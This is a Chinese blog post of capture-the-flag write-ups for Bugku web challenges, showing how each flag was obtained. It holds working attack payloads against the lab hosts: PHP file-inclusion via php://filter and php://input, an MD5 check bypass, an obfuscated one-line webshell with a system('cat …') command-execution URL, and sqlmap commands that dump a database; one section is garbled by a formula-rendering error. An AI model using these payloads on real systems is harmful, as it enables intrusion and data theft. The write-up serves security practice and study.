Bugku解题 web

18.web13
19.web14
20.web15
21.web16
22.No one knows regex better than me
23.web20
24.web21(多次解码+满足条件得flag)
25. web22
26.web17
27.web18

介绍:记录解题过程

18.web13

描述: 看看源代码？


<html>
<title>BUGKUCTF-WEB13</title>
<body>
<div style="display:none;"></div>
<form action="index.php" method="post" >
看看源代码？<br>
<br>
<script>
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
</script>

<input type="input" name="flag" id="flag" /> 
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

将p1,%35%34%61%61%32,p2经url解码得

function checkSubmit(){
	var a=document.getElementById("password");
	if("undefined"!=typeof a){
		if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
			return!0;
			alert("Error");
			a.focus();return!1
		}
	}
	document.getElementById("levelQuest").onsubmit=checkSubmit;

67d709b2b54aa2aa648cf6e87a7114f1

输入67d709b2b54aa2aa648cf6e87a7114f1得到flag

19.web14

php 文件包含
构造:

 ?file=php://filter/read=convert.base64-encode/resource=index.php base64

解码,得到flag

ï»¿<html>
    <title>Bugku-web</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{bb2e63a8f8dde993f68d13fbe147f66b}
?>
</html>

20.web15

描述: 好像需要密码

1.burpSuite 密码:12468

21.web16

描述: 备份是个好习惯

扫描得index.php.bak文件,下载

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

使用kekeyy进行绕过md5的加密，因为md5()函数是无法处理数组的。

http://114.67.246.176:19601/?kkeyey=&kkeyey2=

得到flag

d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427eflag{862c78fa2401f5b64297665d741a8450}鍙栧緱flag

如果要找到备份，php的备份格式是*.php~和*.php.bak，所以需要找到这2个格式的文件，可以在URL后缀进行尝试也可以使用工具进行扫描，使用御剑扫描到存在index.php.bak文件，然后下载文件后使用记事本打开会得到代码，然后使用kekeyy进行绕过md5的加密，因为md5()函数是无法处理数组的。

22.No one knows regex better than me

描述: 正则好像没有想象中那么简单

<?php 
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){
    $key=$second;
    if(preg_match("/\.\.|flag/",$key)){
        die("Noooood hacker!");
    }else{
        $third=$first;
        if(preg_match("/\\|\056\160\150\x70/i",$third)){
            $end=substr($third,5);
            highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
        }
    }
}
else{
    highlight_file(__FILE__);
}

preg_match() 第一次匹配成功后就会停止匹配，如果要实现全部结果的匹配，即搜索到subject结尾处，则需使用preg_match_all() 函数。
preg_match_all() 函数用于进行正则表达式全局匹配，成功返回整个模式匹配的次数（可能为零），如果出错返回 FALSE

参考:
Bugku积累 – No one knows regex better than me

payload:

zero=ZmxhZw==&first=oror|.php

最全的PHP正则表达式

23.web20

描述: cookies欺骗

1.a2V5cy50eHQ=解码

keys.txt

line=&filename=a2V5cy5waHA= Cookie: margin=margin burp回显

24.web21(多次解码+满足条件得flag)

<!--1p.html-->
never never never give up !!!

访问1p.html会跳转，BurpSuite抓包找代码

view-source:http://114.67.246.176:10634/1p.html

HTTP/1.1 200 OK
Date: Wed, 24 Mar 2021 00:33:54 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Mon, 14 Dec 2020 06:20:58 GMT
ETag: "4ef-5b666a5322680-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 1263
Connection: close
Content-Type: text/html

<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--


var Words ="%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

url解码

<script>window.location.href='http://www.bugku.com';</script> 
<!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF-->

base64解码

%22%3Bif(!%24_GET%5B'id'%5D)%0A%7B%0A%09header('Location%3A%20hello.php%3Fid%3D1')%3B%0A%09exit()%3B%0A%7D%0A%24id%3D%24_GET%5B'id'%5D%3B%0A%24a%3D%24_GET%5B'a'%5D%3B%0A%24b%3D%24_GET%5B'b'%5D%3B%0Aif(stripos(%24a%2C'.'))%0A%7B%0A%09echo%20'no%20no%20no%20no%20no%20no%20no'%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20%40file_get_contents(%24a%2C'r')%3B%0Aif(%24data%3D%3D%22bugku%20is%20a%20nice%20plateform!%22%20and%20%24id%3D%3D0%20and%20strlen(%24b)%3E5%20and%20eregi(%22111%22.substr(%24b%2C0%2C1)%2C%221114%22)%20and%20substr(%24b%2C0%2C1)!%3D4)%0A%7B%0A%09%24flag%20%3D%20%22flag%7B***********%7D%22%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20!!!%22%3B%0A%7D%0A%0A%0A%3F%3E

再 url解码

";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	$flag = "flag{***********}"
}
else
{
	print "never never never give up !!!";
}
?>

ereg() 字符串比对解析。
if (ereg("c","abcdef")){     //说明：判断abcdef中是否含有字母c

满足其条件得到flag

$data=="bugku is a nice plateform!"

id == 0 与 if(!GET(' id ') 矛 盾 ，用 id==0与if(!GET('id')矛盾，所以用id=0e123456绕过,id为其他也可以。

用$a=php://input通过php伪协议去读"bugku is a nice plateform!"，绕过file_get_contents

b 的 长 度 大 于 5 , eregi(" 111 ".substr(b的长度大于5,eregi("111".substr(b的长度大于5,eregi("111".substr(b,0,1),“1114”)这个函数是b的正则匹配 , substr(b的正则匹配,substr(b的正则匹配,substr(b,0,1)!=4这个说明$b开头不能为4，所以令，
$b=*123456

构造payload

http://114.67.246.176:10634/hello.php?id=0e123456&a=php://input&b=*123456

参考
御结冰城（目前正确解法）

25. web22

描述: 送给大家一个过狗一句话 $poc=“a#s#s#e#r#t”; $KaTeX parse error: Expected ‘EOF’, got ‘#’ at position 16: poc_1=explode(“#̲”,$ poc);

p

o

c

2

=

poc_2=

$p o c_{2} =$ poc_1[0].

p

o

c

1

[

1

]

.

poc_1[1].

$p o c_{1} [1] .$ poc_1[2].

p

o

c

1

[

3

]

.

poc_1[3].

$p o c_{1} [3] .$ poc_1[4].$poc_1[5];

p

o

c

2

(

poc_2(

$p o c_{2} ($ _GET[‘s’])

任意命令执行漏洞

http://114.67.246.176:10108/?s=system(%22cat%20flaga15808abee46a1d5.txt%22)

26.web17

不出意外是sql注入

sqlmap爆当前数据库信息

python sqlmap.py -r MyFile/bf.txt --current-db

[09:23:35] [INFO] fetching current database
current database: 'skctf

用sqlmap爆出库名:skctf

sqlmap列出指定数据库所有的表名

python sqlmap.py -r MyFile/bf.txt -D skctf --tables

[09:25:16] [INFO] fetching tables for database: 'skctf'
[09:25:17] [INFO] retrieved: 'fl4g'
[09:25:18] [INFO] retrieved: 'sc'
Database: skctf
[2 tables]
+------+
| fl4g |
| sc   |
+------+

sqlmap 列出指定表名的所有列名

python sqlmap.py -r MyFile/bf.txt -D skctf  -T fl4g  --columns

[09:27:16] [INFO] fetching columns for table 'fl4g' in database 'skctf'
Database: skctf
Table: fl4g
[1 column]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| skctf_flag | varchar(64) |
+------------+-------------+

sqlmap 打印输出表名指定列名字段的值数据,得到flag

python sqlmap.py -r MyFile/bf.txt -D skctf  -T fl4g  -C skctf_flag --dump

[09:28:14] [INFO] fetching entries of column(s) 'skctf_flag' for table 'fl4g' in database 'skctf'
Database: skctf
Table: fl4g
[1 entry]
+----------------------------------------+
| skctf_flag                             |
+----------------------------------------+
| flag{bb370d2060b6f367450bf9a9f1402706} |
+----------------------------------------+

27.web18

描述: 秋名山车神

import requests  # 引入request库
import re  # 引入re库

url = '''http://114.67.246.176:10245/'''
s = requests.session()  # 用session会话保持表达式
retuen = s.get(url)

equation = re.search(r'(\d+[+\-*])+(\d+)', retuen.text).group()
result = eval(equation)  # eval()函数用来执行一个字符串表达式,并返回表达式的值。
print(result)
key = {'value': result}  # 创建一个字典类型用于传参
flag = s.post(url, data=key)  # 用post方法传上去

print(flag.text)

-1343901901412181736
åŽŸæ¥ä½ ä¹Ÿæ˜¯è€å¸æœº flag{f8f55742c228f4f987c93c254414e467}

文章由极客之音整理，本文链接：https://www.bmabk.com/index.php/post/92697.html

Bugku解题 web (三)

Bugku解题 web

18.web13

19.web14

20.web15

21.web16

22.No one knows regex better than me

23.web20

24.web21(多次解码+满足条件得flag)

25. web22

26.web17

27.web18

相关推荐